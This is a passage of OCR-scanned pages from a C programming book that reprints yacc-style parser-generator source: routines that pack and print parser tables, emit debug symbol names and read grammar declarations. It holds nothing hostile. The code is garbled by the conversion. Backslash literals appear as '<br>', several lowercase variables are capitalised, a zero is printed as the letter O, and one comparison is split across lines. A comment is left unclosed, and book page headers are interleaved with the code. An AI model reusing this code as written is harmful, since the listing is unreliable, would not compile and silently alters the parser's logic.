j = lowzero - from[0];
for (k = 1; k < t; ++k)
if (lowzero - from[k] > j)
j = lowzero - from[k];
for (;; ++j)
{
if (j == 0)
continue;
ok = 1;
for (k = 0; ok \&\& k < t; k++)
{
loc = j + from[k];
if (loc >= maxtable)
{
if (loc >= MAXTABLE)
fatal("maximum table size exceeded");
newmax = maxtable;
do { newmax += 200; } while (newmax <= loc);
table = (short *) REALLOC(table, newmax*sizeof(short));
if (table == 0) no_space();
check = (short *) REALLOC(check, newmax*sizeof(short));
if (check == 0) no_space();
for (l = maxtable; l < newmax; ++l)
{
table[l] = 0;
check[l] = -1;
}
maxtable = newmax;
}
if (check[loc] != -1)
ok = 0;
}
for (k = 0; ok \&\& k < vector; k++)
{
if (pos[k] == j)
ok = 0;
}
if (ok)
{
for (k = 0; k < t; k++)
{
loc = j + from[k];
table[loc] = to[k];
check[loc] = from[k];

```
```

                        if (loc > high) high = loc;
                }
                while (check[lowzero] != -1)
                    ++lowzero;
            return (j);
        }
    }
    }
output_base()
{
register int i, j;
fprintf(output_file, "short yysindex[] = {%39d,", base[0]);
j = 10;
for (i = 1; i < nstates; i++)
{
if (j >= 10)
{
if (!rflag) ++outline;
putc('\n', output_file);
j = 1;
}
else
++j;
fprintf(output_file, "%5d,", base[i]);
}
if (!rflag) outline += 2;
fprintf(output_file, "\n};\nshort yyrindex[] = {%39d,",
base[nstates]);
j = 10;
for (i = nstates + 1; i < 2*nstates; i++)
{
if (j >= 10)
{
if (!rflag) ++outline;
putc('\n', output_file);
j = 1;
}
else
++j;

```

\section*{452 A to Z of C}
```

    fprintf(output_file, "%5d,", base[i]);
    }
if (!rflag) outline += 2;
fprintf(output_file, "\n};\nshort yygindex[] = {%39d,",
base[2*nstates]);
j = 10;
for (i = 2*nstates + 1; i < nvectors - 1; i++)
{
if (j >= 10)
{
if (!rflag) ++outline;
putc('\n', output_file);
j = 1;
}
else
++j;
fprintf(output_file, "%5d,", base[i]);
}
if (!rflag) outline += 2;
fprintf(output_file, "\n};\n");
FREE (base);
}
output_table()
{
register int i;
register int j;
++outline;
fprintf(code_file, "\#define YYTABLESIZE %d\n", high);
fprintf(output_file, "short yytable[] = {%40d,", table[0]);
j = 10;
for (i = 1; i <= high; i++)
{
if (j >= 10)
{
if (!rflag) ++outline;
putc('\n', output_file);
j = 1;
}
else
++j;

```
```

    fprintf(output_file, "%5d,", table[i]);
    }
    if (!rflag) outline += 2;
    fprintf(output_file, "\n};\n");
    FREE(table);
    }
output_check()
{
register int i;
register int j;
fprintf(output_file, "short Yycheck[] = {%40d,", check[0]);
j = 10;
for (i = 1; i <= high; i++)
{
if (j >= 10)
{
if (!rflag) ++outline;
putc('\n', output_file);
j = 1;
}
else
++j;
fprintf(output_file, "%5d,", check[i]);
}
if (!rflag) outline += 2;
fprintf(output_file, "\n};\n");
FREE(check);
}
int
is_C_identifier(name)
char *name;
{
register char *s;
register int c;
s = name;
c = *s;
if (c == '"')
{
c = *++s;

```

\section*{454 A to \(Z\) of \(C\)}
```

    if (!isalpha(c) && c != '_' && C != '$')
            return (0);
    while ((c = *++s) != '"')
        {
            if (!isalnum(c) && c != '_' && c != '$')
            return (0);
    }
    return (1);
    }
if (!isalpha(c) \&\& C != '_' \&\& c != '$')
    return (0);
while (c = *++s)
{
    if (!isalnum(c) && C != '_' && C != '$')
return (0);
}
return (1);
}
output_defines()
{
register int c, i;
register char *s;
for (i = 2; i < ntokens; ++i)
{
s = symbol_name[i];
if (is_C_identifier(s))
{
fprintf(code_file, "\#define ");
if (dflag) fprintf(defines_file, "\#define ");
c = *s;
if (c == '"')
{
while ((c = *++s) != '"')
{
putc(c, code_file);
if (dflag) putc(c, defines_file);
}
}
else
{
do
{
putc(c, code_file);

```
```

                    if (dflag) putc(c, defines_file);
                }
                    while (c = *++s);
                }
                ++outline;
                fprintf(code_file, " %d\n", symbol_value[i]);
                if (dflag) fprintf(defines_file, " %d\n", symbol_value[i]);
        }
    }
    ++outline;
    fprintf(code_file, "#define YYERRCODE %d\n", symbol_value[1]);
    if (dflag && unionized)
    {
        fclose(union_file);
        union_file = fopen(union_file_name, "r");
        if (union_file == NULL) open_error(union_file_name);
        while ((c = getc(union_file)) != EOF)
            putc(c, defines_file);
        fprintf(defines_file, " YYSTYPE;\nextern YYSTYPE Yylval;\n");
    }
    }
output_stored_text()
{
register int c;
register FILE *in, *out;
fclose(text_file);
text_file = fopen(text_file_name, "r");
if (text_file == NULL)
open_error(text_file_name);
in = text_file;
if ((c = getc(in)) == EOF)
return;
out = code_file;
if (c == '\n')
++outline;
putc(c, out);
while ((c = getc(in)) != EOF)
{
if (c == '\n')
++outline;
putc(c, out);
}
if (!lflag)

```

\section*{456 A to \(Z\) of \(C\)}
```

    fprintf(out, line_format, ++outline + 1, code_file_name);
    }
output_debug()
{
register int i, j, k, max;
char **symnam, *s;
++outline;
fprintf(code_file, "\#define YYFINAL %d\n", final_state);
outline += 3;
fprintf(code_file, "\#ifndef YYDEBUG\n\#define YYDEBUG %d\n\#endif\n",
tflag);
if (rflag)
fprintf(output_file, "\#ifndef YYDEBUG\n\#define YYDEBUG
%d\n\#endif\n",
tflag);
max = 0;
for (i = 2; i < ntokens; ++i)
if (symbol_value[i] > max)
max = symbol_value[i];
++outline;
fprintf(code_file, "\#define YYMAXTOKEN %d\n", max);
symnam = (char **) MALLOC((max+1)*sizeof(char *));
if (symnam == 0) no_space();
/* Note that it is not necessary to initialize the element */
/* symnam[max].
*/
for (i = 0; i < max; ++i)
symnam[i] = 0;
for (i = ntokens - 1; i >= 2; --i)
symnam[symbol_value[i]] = symbol_name[i];
symnam[0] = "end-of-file";
if (!rflag) ++outline;
fprintf(output_file, "\#if YYDEBUG\nchar *yyname[] = {");
j = 80;
for (i = 0; i <= max; ++i)
{
if (s = symnam[i])
{
if (s[0] == '"')
{
k = 7;

```
```

    while (*++s != '"')
    {
        ++k;
        if (*s == '\\')
        {
            k += 2;
            if (*++s == '\\')
                ++k;
        }
    }
    j += k;
    if (j > 80)
    {
        if (!rflag) ++outline;
        putc('\n', output_file);
        j = k;
    }
    fprintf(output_file, "\"\\\"");
    s = symnam[i];
    while (*++s != '"')
    {
        if (*s == '\\')
        {
            fprintf(output_file, "\\\\");
            if (*++s == '\\')
                        fprintf(output_file, "\\\\");
            else
                        putc(*s, output_file);
        }
        else
            putc(*s, output_file);
    }
    fprintf(output_file, "\\\"\",");
    }
else if (s[0] == '\'')
{
if (s[1] == '"')
{
j += 7;
if (j > 80)
{
if (!rflag) ++outline;
putc('\n', output_file);
j = 7;
}
fprintf(output_file, "\"'<br>\"'\",");
}

```

\section*{458 A to \(\mathbf{Z}\) of C}
```

    else
    {
        k = 5;
        while (*++s != '\'')
        {
            ++k;
            if (*s == '\\')
            {
                k += 2;
                if (*++s == '\\')
                    ++k;
            }
        }
        j += k;
        if (j > 80)
        {
            if (!rflag) ++outline;
            putc('\n', output_file);
            j = k;
        }
        fprintf(output_file, "\"'");
        s = symnam[i];
        while (*++s != '\'')
        {
            if (*s == '\\')
            {
            fprintf(output_file, "\\\\");
            if (*++s == '\\')
                    fprintf(output_file, "\\\\");
            else
                    putc(*s, output_file);
            }
            else
                        putc(*s, output_file);
                }
                fprintf(output_file, "'\",");
    }
    }
else
{
k = strlen(s) + 3;
j += k;
if (j > 80)
{
if (!rflag) ++outline;
putc('\n', output_file);

```
```

                j = k;
                    }
                    putc('"', output_file);
                        do { putc(*s, output_file); } while (*++s);
                    fprintf(output_file, "\",");
            }
    }
    else
    {
        j += 2;
        if (j > 80)
        {
            if (!rflag) ++outline;
            putc('\n', output_file);
            j = 2;
        }
        fprintf(output_file, "0,");
    }
    }
if (!rflag) outline += 2;
fprintf(output_file, "\n};\n");
FREE (symnam);
if (!rflag) ++outline;
fprintf(output_file, "char *yyrule[] = {\n");
for (i = 2; i < nrules; ++i)
{
fprintf(output_file, "\"%s :", symbol_name[rlhs[i]]);
for (j = rrhs[i]; ritem[j] > 0; ++j)
{
s = symbol_name[ritem[j]];
if (s[O] == '"')
{
fprintf(output_file, " <br>\"");
while (*++s != '"')
{
if (*s == '<br>')
{
if (s[1] == '<br>')
fprintf(output_file, "<br><br><br><br>");
else
fprintf(output_file, "<br><br>%c", s[1]);
++s;
}
else
putc(*s, output_file);
}

```

\section*{460 A to \(Z\) of \(C\)}
```

            fprintf(output_file, "\\\"");
                }
                else if (s[0] == '\'')
                {
            if (s[1] == '"')
                fprintf(output_file, " '\\\"'");
            else if (s[1] == '\\')
            {
                    if (s[2] == '\\')
                    fprintf(output_file, " '\\\\\\\\");
                    else
                fprintf(output_file, " '\\\\%c", s[2]);
                    s += 2;
                        while (*++s != '\'')
                putc(*s, output_file);
            putc('\'', output_file);
            }
            else
                        fprintf(output_file, " '%c'", s[1]);
                }
                else
                    fprintf(output_file, " %s", s);
    }
    if (!rflag) ++outline;
    fprintf(output_file, "\",\n");
    }
if (!rflag) outline += 2;
fprintf(output_file, "};\n\#endif\n");
}
output_stype()
{
if (!unionized \&\& ntags == 0)
{
outline += 3;
fprintf(code_file, "\#ifndef YYSTYPE\ntypedef int
YYSTYPE;\n\#endif\n");
}
}
output_trailing_text()
{
register int c, last;
register FILE *in, *out;
if (line == 0)
return;

```
```

in = input_file;
out = code_file;
c = *cptr;
if (c == '\n')
{
++lineno;
if ((c = getc(in)) == EOF)
return;
if (!lflag)
{
++outline;
fprintf(out, line_format, lineno, input_file_name);
}
if (c == '\n')
++outline;
putc(c, out);
last = c;
}
else
{
if (!lflag)
{
++outline;
fprintf(out, line_format, lineno, input_file_name);
}
do { putc(c, out); } while ((c = *++cptr) != '\n');
++outline;
putc('\n', out);
last = '\n';
}
while ((c = getc(in)) != EOF)
{
if (c == '\n')
++outline;
putc(c, out);
last = c;
}
if (last != '\n')
{
++outline;
putc('\n', out);
}
if (!lflag)
fprintf(out, line_format, ++outline + 1, code_file_name);
}

```

\section*{462 A to \(Z\) of \(C\)}
```

output_semantic_actions()
{
register int c, last;
register FILE *out;
fclose(action_file);
action_file = fopen(action_file_name, "r");
if (action_file == NULL)
open_error(action_file_name);
if ((c = getc(action_file)) == EOF)
return;
out = code_file;
last = c;
if (c == '\n')
++outline;
putc(c, out);
while ((c = getc(action_file)) != EOF)
{
if (c == '\n')
++outline;
putc(c, out);
last = c;
}
if (last != '\n')
{
++outline;
putc('\n', out);
}
if (!lflag)
fprintf(out, line_format, ++outline + 1, code_file_name);
}
free_itemsets()
{
register core *cp, *next;
FREE (state_table);
for (cp = first_state; cp; cp = next)
{
next = cp->next;
FREE(cp);
}
}

```
```

free_shifts()
{
register shifts *sp, *next;
FREE(shift_table);
for (sp = first_shift; sp; sp = next)
{
next = sp->next;
FREE(sp);
}
}
free_reductions()
{
register reductions *rp, *next;
FREE(reduction_table);
for (rp = first_reduction; rp; rp = next)
{
next = rp->next;
FREE (rp);
}
}

```

\subsection*{49.2.2.8 Reader.c}
```

\#include "defs.h"

```
/* The line size must be a positive integer. One hundred was chosen */
/* because few lines in Yacc input grammars exceed 100 characters. */
/* Note that if a line exceeds LINESIZE characters, the line buffer */
/* will be expanded to accomodate it.
\#define LINESIZE 100
char *cache;
int cinc, cache_size;
int ntags, tagmax;
char **tag_table;
char saw_eof, unionized;
char *cptr, *line;
int linesize;
bucket *goal;
int prec;

\section*{464 A to \(Z\) of \(C\)}
```

int gensym;
char last_was_action;
int maxitems;
bucket **pitem;
int maxrules;
bucket **plhs;
int name_pool_size;
char *name_pool;
char line_format[] = "\#line %d \"%s\"\n";
cachec(c)
int c;
{
assert(cinc >= 0);
if (cinc >= cache_size)
{
cache_size += 256;
cache = REALLOC(cache, cache_size);
if (cache == 0) no_space();
}
cache[cinc] = c;
++cinc;
}
get_line()
{
register FILE *f = input_file;
register int c;
register int i;
if (saw_eof || (c = getc(f)) == EOF)
{
if (line) { FREE(line); line = 0; }
cptr = 0;
saw_eof = 1;
return;
}
if (line == 0 || linesize != (LINESIZE + 1))
{
if (line) FREE(line);
linesize = LINESIZE + 1;
line = MALLOC(linesize);

```
```

        if (line == 0) no_space();
    }
    i = 0;
    ++lineno;
    for (;;)
    {
        line[i] = c;
        if (c == '\n') { cptr = line; return; }
        if (++i >= linesize)
        {
            linesize += LINESIZE;
            line = REALLOC(line, linesize);
            if (line == 0) no_space();
        }
        c = getc(f);
        if (c == EOF)
        {
            line[i] = '\n';
            saw_eof = 1;
            cptr = line;
            return;
        }
    }
    }
char *
dup_line()
{
register char *p, *s, *t;
if (line == 0) return (0);
s = line;
while (*s != '\n') ++s;
p = MALLOC(s - line + 1);
if (p == 0) no_space();
s = line;
t = p;
while ((*t++ = *s++) != '\n') continue;
return (p);
}
skip_comment()
{
register char *s;

```

\section*{466 A to \(Z\) of \(C\)}
```

    int st_lineno = lineno;
    char *st_line = dup_line();
    char *st_cptr = st_line + (cptr - line);
    s = cptr + 2;
    for (;;)
    {
        if (*S == '*' && S[1] == '/')
        {
            cptr = s + 2;
            FREE(st_line);
            return;
        }
        if (*s == '\n')
        {
            get_line();
            if (line == 0)
                unterminated_comment(st_lineno, st_line, st_cptr);
            s = cptr;
        }
        else
            ++s;
    }
    }
int
nextc()
{
register char *s;
if (line == 0)
{
get_line();
if (line == 0)
return (EOF);
}
s = cptr;
for (;;)
{
switch (*s)
{
case '\n':
get_line();
if (line == 0) return (EOF);
s = cptr;
break;
case ' ':

```
```

        case '\t':
        case '\f':
        case '\r':
        case '\v':
        case ',':
        case ';':
            ++s;
            break;
        case '\\':
            cptr = s;
            return ('%');
        case '/':
            if (s[1] == '*')
            {
                cptr = s;
                    skip_comment();
                    s = cptr;
                    break;
            }
            else if (s[1] == '/')
            {
                    get_line();
                    if (line == 0) return (EOF);
                    s = cptr;
                    break;
            }
            /* fall through */
            default:
            cptr = s;
            return (*s);
        }
    }
    }
int
keyword()
{
register int c;
char *t_cptr = cptr;
c = *++cptr;
if (isalpha(c))
{
cinc = 0;

```

\section*{468 A to \(Z\) of \(C\)}
```

for (;;)
{
if (isalpha(c))
{
if (isupper(c)) c = tolower(c);
cachec(c);
}
else if (isdigit(c) || c == '_' || c == '.' || c == '\$')
cachec(c);
else
break;
c = *++cptr;
}
cachec(NUL);
if (strcmp(cache, "token") == 0 || strcmp(cache, "term") == 0)
return (TOKEN);
if (strcmp(cache, "type") == 0)
return (TYPE);
if (strcmp(cache, "left") == 0)
return (LEFT);
if (strcmp(cache, "right") == 0)
return (RIGHT);
if (strcmp(cache, "nonassoc") == 0 || strcmp(cache, "binary") ==
return (NONASSOC);
if (strcmp(cache, "start") == 0)
return (START);
if (strcmp(cache, "union") == 0)
return (UNION);
if (strcmp(cache, "ident") == 0)
return (IDENT);
}
else
{
++cptr;
if (c == '{')
return (TEXT);
if (c == '%' || c == '<br>')
return (MARK);
if (c == '<')
return (LEFT);
if (c == '>')
return (RIGHT);
if (c == '0')

```
\(0)\)
```

                return (TOKEN);
        if (c == '2')
            return (NONASSOC);
    }
    syntax_error(lineno, line, t_cptr);
    /*NOTREACHED*/
    }
copy_ident()
{
register int c;
register FILE *f = output_file;
c = nextc();
if (c == EOF) unexpected_EOF();
if (c != '"') syntax_error(lineno, line, cptr);
++outline;
fprintf(f, "\#ident \"");
for (;;)
{
c = *++cptr;
if (c == '\n')
{
fprintf(f, "\"\n");
return;
}
putc(c, f);
if (c == '"')
{
putc('\n', f);
++cptr;
return;
}
}
}
copy_text()
{
register int c;
int quote;
register FILE *f = text_file;
int need_newline = 0;
int t_lineno = lineno;
char *t_line = dup_line();
char *t_cptr = t_line + (cptr - line - 2);

```

\section*{470 A to \(Z\) of \(C\)}
```

if (*cptr == '\n')
{
get_line();
if (line == 0)
unterminated_text(t_lineno, t_line, t_cptr);
}
if (!lflag) fprintf(f, line_format, lineno, input_file_name);
loop:
c = *cptr++;
switch (c)
{
case '\n':
next_line:
putc('\n', f);
need_newline = 0;
get_line();
if (line) goto loop;
unterminated_text(t_lineno, t_line, t_cptr);
case '\'':
case '"':
{
int s_lineno = lineno;
char *s_line = dup_line();
char *s_cptr = s_line + (cptr - line - 1);
quote = c;
putc(c, f);
for (;;)
{
c = *cptr++;
putc(c, f);
if (c == quote)
{
need_newline = 1;
FREE(s_line);
goto loop;
}
if (c == '\n')
unterminated_string(s_lineno, s_line, s_cptr);
if (c == '<br>')
{
c = *cptr++;
putc(c, f);
if (c == '\n')
{

```
```

get_line();
if (line == 0)
unterminated_string(s_lineno, s_line,
s_cptr);
}
}
}
}
case '/':
putc(c, f);
need_newline = 1;
c = *cptr;
if (c == '/')
{
putc('*', f);
while ((c = *++cptr) != '\n')
{
if (c == '*' \&\& cptr[1] == '/')
fprintf(f, "* ");
else
putc(c, f);
}
fprintf(f, "*/");
goto next_line;
}
if (c == '*')
{
int c_lineno = lineno;
char *c_line = dup_line();
char *c_cptr = c_line + (cptr - line - 1);
putc('*', f);
++cptr;
for (;;)
{
c = *cptr++;
putc(c, f);
if (c == '*' \&\& *cptr == '/')
{
putc('/', f);
++cptr;
FREE(c_line);
goto loop;
}
if (c == '\n')
{

```

\section*{472 A to \(Z\) of C}
```

                    get_line();
                    if (line == 0)
                        unterminated_comment(c_lineno, c_line, c_cptr);
                }
                }
    }
    need_newline = 1;
    goto loop;
    case '%':
    case '\\':
        if (*cptr == '}')
        {
            if (need_newline) putc('\n', f);
            ++cptr;
            FREE(t_line);
            return;
        }
        /* fall through */
    default:
        putc(c, f);
        need_newline = 1;
        goto loop;
    }
    }
copy_union()
{
register int c;
int quote;
int depth;
int u_lineno = lineno;
char *u_line = dup_line();
char *u_cptr = u_line + (cptr - line - 6);
if (unionized) over_unionized(cptr - 6);
unionized = 1;
if (!lflag)
fprintf(text_file, line_format, lineno, input_file_name);
fprintf(text_file, "typedef union");
if (dflag) fprintf(union_file, "typedef union");
depth = 0;
loop:

```
```

c = *cptr++;
putc(c, text_file);
if (dflag) putc(c, union_file);
switch (c)
{
case '\n':
next_line:
get_line();
if (line == 0) unterminated_union(u_lineno, u_line, u_cptr);
goto loop;
case '{':
++depth;
goto loop;
case '}':
if (--depth == 0)
{
fprintf(text_file, " YYSTYPE;\n");
FREE(u_line);
return;
}
goto loop;
case '\'':
case '"':
{
int s_lineno = lineno;
char *s_line = dup_line();
char *s_cptr = s_line + (cptr - line - 1);
quote = c;
for (;;)
{
c = *cptr++;
putc(c, text_file);
if (dflag) putc(c, union_file);
if (c == quote)
{
FREE(s_line);
goto loop;
}
if (c == '\n')
unterminated_string(s_lineno, s_line, s_cptr);
if (c == '<br>')
{
c = *cptr++;

```

\section*{474 A to \(Z\) of C}
```

                    putc(c, text_file);
                    if (dflag) putc(c, union_file);
                if (c == '\n')
                {
                    get_line();
                            if (line == 0)
                            unterminated_string(s_lineno, s_line,
    s_cptr);
}
}
}
}
case '/':
c = *cptr;
if (c == '/')
{
putc('*', text_file);
if (dflag) putc('*', union_file);
while ((c = *++cptr) != '\n')
{
if (c == '*' \&\& cptr[1] == '/')
fprintf(text_file, "* ");
if (dflag) fprintf(union_file, "* ");
}
else
{
putc(c, text_file);
if (dflag) putc(c, union_file);
}
}
fprintf(text_file, "*/\n");
if (dflag) fprintf(union_file, "*/\n");
goto next_line;
}
if (c == '*')
{
int c_lineno = lineno;
char *c_line = dup_line();
char *c_cptr = c_line + (cptr - line - 1);
putc('*', text_file);
if (dflag) putc('*', union_file);
++cptr;
for (;;)
{

```
```

                c = *cptr++;
                putc(c, text_file);
                        if (dflag) putc(c, union_file);
            if (c == '*' && *cptr == '/')
            {
            putc('/', text_file);
                if (dflag) putc('/', union_file);
                ++cptr;
                FREE(c_line);
                goto loop;
            }
            if (c == '\n')
            {
                get_line();
                if (line == 0)
                        unterminated_comment(c_lineno, c_line, c_cptr);
            }
        }
    }
    goto loop;
    default:
        goto loop;
    }
    }
int
hexval(c)
int c;
{
if (c >= '0' \&\& c <= '9')
return (c - '0');
if (c >= 'A' \&\& c <= 'F')
return (c - 'A' + 10);
if (c >= 'a' \&\& c <= 'f')
return (c - 'a' + 10);
return (-1);
}
bucket *
get_literal()
{
register int c, quote;
register int i;
register int n;
register char *s;
register bucket *bp;

```

\section*{476 A to \(Z\) of \(C\)}
```

    int s_lineno = lineno;
    char *s_line = dup_line();
    char *s_cptr = s_line + (cptr - line);
    quote = *cptr++;
    cinc = 0;
for (;;)
{
c = *cptr++;
if (c == quote) break;
if (c == '\n') unterminated_string(s_lineno, s_line, s_cptr);
if (c == '<br>')
{
char *c_cptr = cptr - 1;
c = *cptr++;
switch (c)
{
case '\n':
get_line();
if (line == 0) unterminated_string(s_lineno, s_line,
s_cptr);
continue;
case '0': case '1': case '2': case '3':
case '4': case '5': case '6': case '7':
n = c - '0';
c = *cptr;
if (IS_OCTAL(c))
{
n = (n << 3) + (c - '0');
c = *++cptr;
if (IS_OCTAL(c))
{
n = (n << 3) + (c - '0');
++cptr;
}
}
if (n > MAXCHAR) illegal_character(c_cptr);
c = n;
break;
case 'x':
c = *cptr++;
n = hexval(c);
if (n<0 | | n >= 16)
illegal_character(c_cptr);

```
```

for (;;)
{
c = *cptr;
i = hexval(c);
if (i < 0 || i >= 16) break;
++cptr;
n = (n << 4) + i;
if (n > MAXCHAR) illegal_character(c_cptr);
}
C = n;
break;
case 'a': c = 7; break;
case 'b': c = '\b'; break;
case 'f': c = '\f'; break;
case 'n': c = '\n'; break;
case 'r': c = '\r'; break;
case 't': c = '\t'; break;
case 'v': c = '\v'; break;
}
}
cachec(c);
}
FREE(s_line);
n = cinc;
s = MALLOC(n);
if (s == 0) no_space();
for (i = 0; i < n; ++i)
s[i] = cache[i];
cinc = 0;
if (n == 1)
cachec('\'');
else
cachec('"');
for (i = 0; i < n; ++i)
{
c = ((unsigned char *)s) [i];
if (c == '<br>' || c == cache[0])
{
cachec('<br>');
cachec(c);
}
else if (isprint(c))

```

\section*{478 A to \(Z\) of C}
```

                cachec(c);
        else
        {
            cachec('\\');
            switch (c)
            {
            case 7: cachec('a'); break;
            case '\b': cachec('b'); break;
            case '\f': cachec('f'); break;
            case '\n': cachec('n'); break;
            case '\r': cachec('r'); break;
            case '\t': cachec('t'); break;
            case '\v': cachec('v'); break;
            default:
                cachec(((c >> 6) & 7) + '0');
                    cachec(((c >> 3) & 7) + '0');
                    cachec((c & 7) + '0');
                    break;
            }
        }
    }
    if (n == 1)
        cachec('\'');
    else
        cachec('"');
    cachec(NUL);
    bp = lookup(cache);
    bp->class = TERM;
    if (n == 1 && bp->value == UNDEFINED)
        bp->value = *(unsigned char *)s;
    FREE(s);
    return (bp);
    }
int
is_reserved(name)
char *name;
{
char *s;
if (strcmp(name, ".") == 0 ||
strcmp(name, "$accept") == 0 ||
            strcmp(name, "$end") == 0)
return (1);

```
```

    if (name[0] == '$' && name[1] == '$' && isdigit(name[2]))
    {
        s = name + 3;
        while (isdigit(*s)) ++s;
        if (*s == NUL) return (1);
    }
    return (0);
    }
bucket
get_name()
{
register int c;
cinc = 0;
for (c = *cptr; IS_IDENT(c); c = *++cptr)
cachec(c);
cachec(NUL);
if (is_reserved(cache)) used_reserved(cache);
return (lookup(cache));
}
int
get_number()
{
register int c;
register int n;
n = 0;
for (c = *cptr; isdigit(c); c = *++cptr)
n = 10*n + (c - '0');
return (n);
}
char *
get_tag()
{
register int c;
register int i;
register char *s;
int t_lineno = lineno;
char *t_line = dup_line();
char *t_cptr = t_line + (cptr - line);

```

\section*{480 A to Z of C}
```

    ++cptr;
    c = nextc();
    if (c == EOF) unexpected_EOF();
    if (!isalpha(c) && c != '_' && c != '$')
        illegal_tag(t_lineno, t_line, t_cptr);
    cinc = 0;
    do { cachec(c); c = *++cptr; } while (IS_IDENT(c));
    cachec (NUL);
    c = nextc();
    if (c == EOF) unexpected_EOF();
    if (c != '>')
        illegal_tag(t_lineno, t_line, t_cptr);
    ++cptr;
for (i = 0; i < ntags; ++i)
{
if (strcmp(cache, tag_table[i]) == 0)
return (tag_table[i]);
}
if (ntags >= tagmax)
{
tagmax += 16;
tag_table = (char **)
(tag_table ? REALLOC(tag_table,
tagmax*sizeof(char *))
: MALLOC(tagmax*sizeof(char *)));
if (tag_table == 0) no_space();
}
s = MALLOC (cinc);
if (s == 0) no_space();
strcpy(s, cache);
tag_table[ntags] = s;
++ntags;
FREE(t_line);
return (s);
}
declare_tokens(assoc)
int assoc;
{
register int c;
register bucket *bp;
int value;
char *tag = 0;

```
```

if (assoc != TOKEN) ++prec;
c = nextc();
if (c == EOF) unexpected_EOF();
if (c == '<')
{
tag = get_tag();
c = nextc();
if (c == EOF) unexpected_EOF();
}
for (;;)
{
if (isalpha(c) || c == '_' || c=='.' || c == '\$')
bp = get_name();
else if (c == '\'' || c == '"')
bp = get_literal();
else
return;
if (bp == goal) tokenized_start(bp->name);
bp->class = TERM;
if (tag)
{
if (bp->tag \&\& tag != bp->tag)
retyped_warning(bp->name);
bp->tag = tag;
}
if (assoc != TOKEN)
{
if (bp->prec \&\& prec != bp->prec)
reprec_warning(bp->name);
bp->assoc = assoc;
bp->prec = prec;
}
c = nextc();
if (c == EOF) unexpected_EOF();
value = UNDEFINED;
if (isdigit(c))
{
value = get_number();
if (bp->value != UNDEFINED \&\& value != bp->value)
revalued_warning(bp->name);
bp->value = value;
c = nextc();

```

\section*{482 A to \(Z\) of C}
```

            if (c == EOF) unexpected_EOF();
    }
    }
    }
declare_types()
{
register int c;
register bucket *bp;
char *tag;
c = nextc();
if (c == EOF) unexpected_EOF();
if (c != '<') syntax_error(lineno, line, cptr);
tag = get_tag();
for (;;)
{
c = nextc();
if (isalpha(c) || c == '_'' || c == '.' || c == '$')
            bp = get_name();
        else if (c == '\'' || c == '"')
            bp = get_literal();
        else
            return;
        if (bp->tag && tag != bp->tag)
            retyped_warning(bp->name);
        bp->tag = tag;
    }
}
declare_start()
{
    register int c;
    register bucket *bp;
    c = nextc();
    if (c == EOF) unexpected_EOF();
    if (!isalpha(c) && c != '_' && c != '.' && c != '$')
syntax_error(lineno, line, cptr);
bp = get_name();
if (bp->class == TERM)
terminal_start(bp->name);
if (goal \&\& goal != bp)
restarted_warning();

```
```

    goal = bp;
    }
read_declarations()
{
register int c, k;
cache_size = 256;
cache = MALLOC(cache_size);
if (cache == 0) no_space();
for (;;)
{
c = nextc();
if (c == EOF) unexpected_EOF();
if (c != '%') syntax_error(lineno, line, cptr);
switch (k = keyword())
{
case MARK:
return;
case IDENT:
copy_ident();
break;
case TEXT:
copy_text();
break;
case UNION:
copy_union();
break;
case TOKEN:
case LEFT:
case RIGHT:
case NONASSOC:
declare_tokens(k);
break;
case TYPE:
declare_types();
break;
case START:
declare_start();

```

\section*{484 A to \(Z\) of C}
```

        break;
        }
    }
    }
initialize_grammar()
{
nitems = 4;
maxitems = 300;
pitem = (bucket **) MALLOC (maxitems*sizeof(bucket *));
if (pitem == 0) no_space();
pitem[0] = 0;
pitem[1] = 0;
pitem[2] = 0;
pitem[3] = 0;
nrules = 3;
maxrules = 100;
plhs = (bucket **) MALLOC (maxrules*sizeof(bucket *));
if (plhs == 0) no_space();
plhs[0] = 0;
plhs[1] = 0;
plhs[2] = 0;
rprec = (short *) MALLOC(maxrules*sizeof(short));
if (rprec == 0) no_space();
rprec[0] = 0;
rprec[1] = 0;
rprec[2] = 0;
rassoc = (char *) MALLOC(maxrules*sizeof(char));
if (rassoc == 0) no_space();
rassoc[0] = TOKEN;
rassoc[1] = TOKEN;
rassoc[2] = TOKEN;
}
expand_items()
{
maxitems += 300;
pitem = (bucket **) REALLOC (pitem, maxitems*sizeof(bucket *));
if (pitem == 0) no_space();
}
expand_rules()
{
maxrules += 100;
plhs = (bucket **) REALLOC(plhs, maxrules*sizeof(bucket *));
if (plhs == 0) no_space();

```
```

    rprec = (short *) REALLOC(rprec, maxrules*sizeof(short));
    if (rprec == 0) no_space();
    rassoc = (char *) REALLOC(rassoc, maxrules*sizeof(char));
    if (rassoc == 0) no_space();
    }
advance_to_start()
{
register int c;
register bucket *bp;
char *s_cptr;
int s_lineno;
for (;;)
{
c = nextc();
if (c != '%') break;
s_cptr = cptr;
switch (keyword())
{
case MARK:
no_grammar();
case TEXT:
copy_text();
break;
case START:
declare_start();
break;
default:
syntax_error(lineno, line, s_cptr);
}
}
c = nextc();
if (!isalpha(c) \&\& c != '_' \&\& c != '.' \&\& c != '_')
syntax_error(lineno, line, cptr);
bp = get_name();
if (goal == 0)
{
if (bp->class == TERM)
terminal_start(bp->name);
goal = bp;
}
s_lineno = lineno;

```

\section*{486 A to Z of C}
```

    c = nextc();
    if (c == EOF) unexpected_EOF();
    if (c != ':') syntax_error(lineno, line, cptr);
    start_rule(bp, s_lineno);
    ++cptr;
    }
start_rule(bp, s_lineno)
register bucket *bp;
int s_lineno;
{
if (bp->class == TERM)
terminal_lhs(s_lineno);
bp->class = NONTERM;
if (nrules >= maxrules)
expand_rules();
plhs[nrules] = bp;
rprec[nrules] = UNDEFINED;
rassoc[nrules] = TOKEN;
}
end_rule()
{
register int i;
if (!last_was_action \&\& plhs[nrules]->tag)
{
for (i = nitems - 1; pitem[i]; --i) continue;
if (pitem[i+1] == 0 || pitem[i+1]->tag != plhs[nrules]->tag)
default_action_warning();
}
last_was_action = 0;
if (nitems >= maxitems) expand_items();
pitem[nitems] = 0;
++nitems;
++nrules;
}
insert_empty_rule()
{
register bucket *bp, **bpp;
assert(cache);

    sprintf(cache, "$$%d", ++gensym);
    bp = make_bucket(cache);
    last_symbol->next = bp;
    last_symbol = bp;
    ```
```

    bp->tag = plhs[nrules]->tag;
    bp->class = NONTERM;
    if ((nitems += 2) > maxitems)
    expand_items();
    bpp = pitem + nitems - 1;
    *bpp-- = bp;
    while (bpp[0] = bpp[-1]) --bpp;
    if (++nrules >= maxrules)
        expand_rules();
